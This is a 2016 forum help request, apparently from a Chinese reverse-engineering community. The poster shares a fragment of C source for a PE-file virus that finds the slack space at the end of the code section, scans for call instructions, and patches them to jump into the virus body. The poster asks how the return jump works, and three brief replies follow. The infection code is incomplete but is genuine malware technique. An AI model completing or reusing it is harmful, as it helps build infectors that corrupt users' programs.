首页
社区
课程
招聘
[旧帖] [求助]一段病毒代码jmp 跳转问题 0.00雪花
发表于: 2016-2-2 16:00 1653

[旧帖] [求助]一段病毒代码jmp 跳转问题 0.00雪花

2016-2-2 16:00
1653
下面是一个病毒的源代码,主要思想是:
搜索宿主call指令,转向病毒体,病毒体运行后再jmp到原来地址
病毒体在代码节尾部空隙中,

//病毒体
thunkcode
//病毒入口
pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                            (DWORD)pMapping+
                                            pImageSectionHeader->Misc.VirtualSize) ;

            vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
            
            pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                        (DWORD)pMapping) ;
                        
            //:::搜索call指令(0xe8)
            for (i=0;i<vir_len;i++)
            {
                if (pSearch[i]==0xe8)
                {
                    dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                    dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                    dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                    dwJmpVA = (DWORD)dwJmpAddr-
                                ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                pImageNtHeaders->OptionalHeader.ImageBase+
                                pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                   
                     dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;//这句似乎有错误,这句看不懂
	  //dwJmpData存放的为原来的地址,也就是病毒体运行后要jmp的地址
             //dwJmpData 如果上面求法错误的,那么这个值正确应该怎么求?
					
                    if ((*dwJmpAddr&0xffff)==0x25ff)//这句是什么意思
                    {
                        dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                        *dwCallDataAddr = dwCodeDistance ;

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (3)
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
这不违规吗
2016-2-5 12:24
0
雪    币: 116
活跃值: (210)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
我想说的是,你提供的代码片断不够充分 ,很难猜出具体的意思……
2016-2-5 15:02
0
雪    币: 42
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
教会你不天下大乱??
2016-2-8 14:22
0
游客
登录 | 注册 方可回帖
返回
//